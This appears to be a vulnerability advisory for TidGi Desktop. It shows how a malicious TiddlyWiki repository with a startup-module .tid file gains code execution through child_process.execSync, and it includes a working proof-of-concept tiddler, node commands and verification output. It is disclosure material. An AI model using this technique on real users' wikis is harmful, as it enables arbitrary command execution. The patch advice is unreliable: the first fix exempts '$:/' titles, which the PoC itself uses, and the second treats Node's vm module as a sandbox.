TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution

Vulnerability Details

Root Cause 1 — .tid Files Auto-Loaded Before Module Processing

File: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92

const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);

for (const tiddlerFile of tiddlerFiles) {
    // Register file info for filesystem adaptor
    // ...
    // Add tiddlers to wiki
    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // ← Line 92
}

File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256

wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });

This triggers $tw.boot.startup(), which internally calls loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.

Root Cause 2 — Automatic Module Registration via module-type Field

File: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()

$tw.Wiki.prototype.defineTiddlerModules = function() {
    this.each(function(tiddler,title) {
        if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) {
            switch(tiddler.fields.type) {
                case "application/javascript":
                    $tw.modules.define(
                        tiddler.fields.title,           // "$:/plugins/poc/startup.js"
                        tiddler.fields["module-type"],   // "startup"
                        tiddler.fields.text              // attacker's JS code
                    );
                    break;
            }
        }
    });
};

This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.

Root Cause 3 — Automatic Startup Execution with Full Node.js Access

File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules

$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("startup", function(title, module) {
    if(module.startup) {
        $tw.boot.remainingStartupModules.push(module);  // ← attacker's module collected
    }
});

File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup

if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
    const thenable = task.startup();  // ← exports.startup() called

File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)

$tw.boot.doesTaskMatchPlatform = function(taskModule) {
    var platforms = taskModule.platforms;
    if(platforms) {
        // ... check each platform ...
        return false;  // ← only rejects if platforms is explicitly set
    }
    return true;       // ← no platforms field → passes unconditionally
};

Complete Boot Sequence (verified against TiddlyWiki 5.4.0)

$tw.boot.startup()                              // boot.js:2589
  ├── initStartup()                              // boot.js:2393
  ├── loadStartup()                              // boot.js:2538
  │     └── loadTiddlersNode()                   // boot.js:2356
  │           └── $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381
  │                 └── wiki.addTiddlers(...)     // loads .tid files into store
  └── execStartup()                              // boot.js:2553
        ├── defineShadowModules()                 // boot.js:2564
        ├── defineTiddlerModules()                 // boot.js:2565  ← registers attacker's module
        ├── forEachModuleOfType("startup", ...)   // boot.js:2572  ← collects startup modules
        └── executeNextStartupTask()              // boot.js:2611
              └── task.startup()                  // boot.js:2634  ← exports.startup() executes

Exploitation Conditions

• No authentication required — importing a wiki is a standard feature
• Only user interaction: click "Add Workspace" → select folder/URL → confirm

Complete Attack Flow

┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository   │
├──────────────────────────────────────────────────────────────┤
│  tiddlers/$__plugins__poc__startup.js.tid:                   │
│                                                              │
│    title: $:/plugins/poc/startup.js                          │
│    type: application/javascript                              │
│    module-type: startup                                      │
│                                                              │
│    exports.startup = function() {                            │
│      require('child_process').execSync('calc');              │
│    };                                                        │
│                                                              │
│  + tiddlywiki.info + any other wiki files                    │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop     │
├──────────────────────────────────────────────────────────────┤
│  Add Workspace → Clone Git Repository / Open Local Folder    │
│  → TidGi boots the wiki                                      │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│  loadWikiTiddlers loads .tid file → wiki.addTiddlers()       │
│  boot.startup() → execStartup()                              │
│  defineTiddlerModules() → $tw.modules.define("startup", ...) │
│  executeNextStartupTask() → exports.startup()                │
│  → require('child_process').execSync('...') executes         │
└──────────────────────────────────────────────────────────────┘

Proof of Concept

Minimal .tid File (place in tiddlers/ directory)

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

The message STARTUP_EXECUTED printed from within the attacker's exports.startup() function, and the file /tmp/TidGi-RCE-PoC.txt was created by execSync('touch ...'), confirming arbitrary command execution.

Impact

Reproduction Evidence

Step 1 — Malicious .tid file content

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Step 2 — TiddlyWiki boot with malicious wiki at /tmp/evil-wiki

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

Step 3 — Verified RCE: /tmp/TidGi-RCE-PoC.txt created

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

Patch Recommendation

Fix 1: Disallow module-type on User Tiddlers

TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define module-type.

// In defineTiddlerModules() or equivalent
if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) {
    // User tiddler — silently drop module-type field
    return;
}

Fix 2: Sandbox User Modules

If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:

// Replace direct require access with a restricted API surface
const vm = require('vm');
const sandbox = { console, $tw, Buffer };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });

Fix 3: Whitelist Allowed module-type Values

Only allow known safe module-type values for user tiddlers:

const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser'];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {
    return; // Block startup, library, saver, etc.
}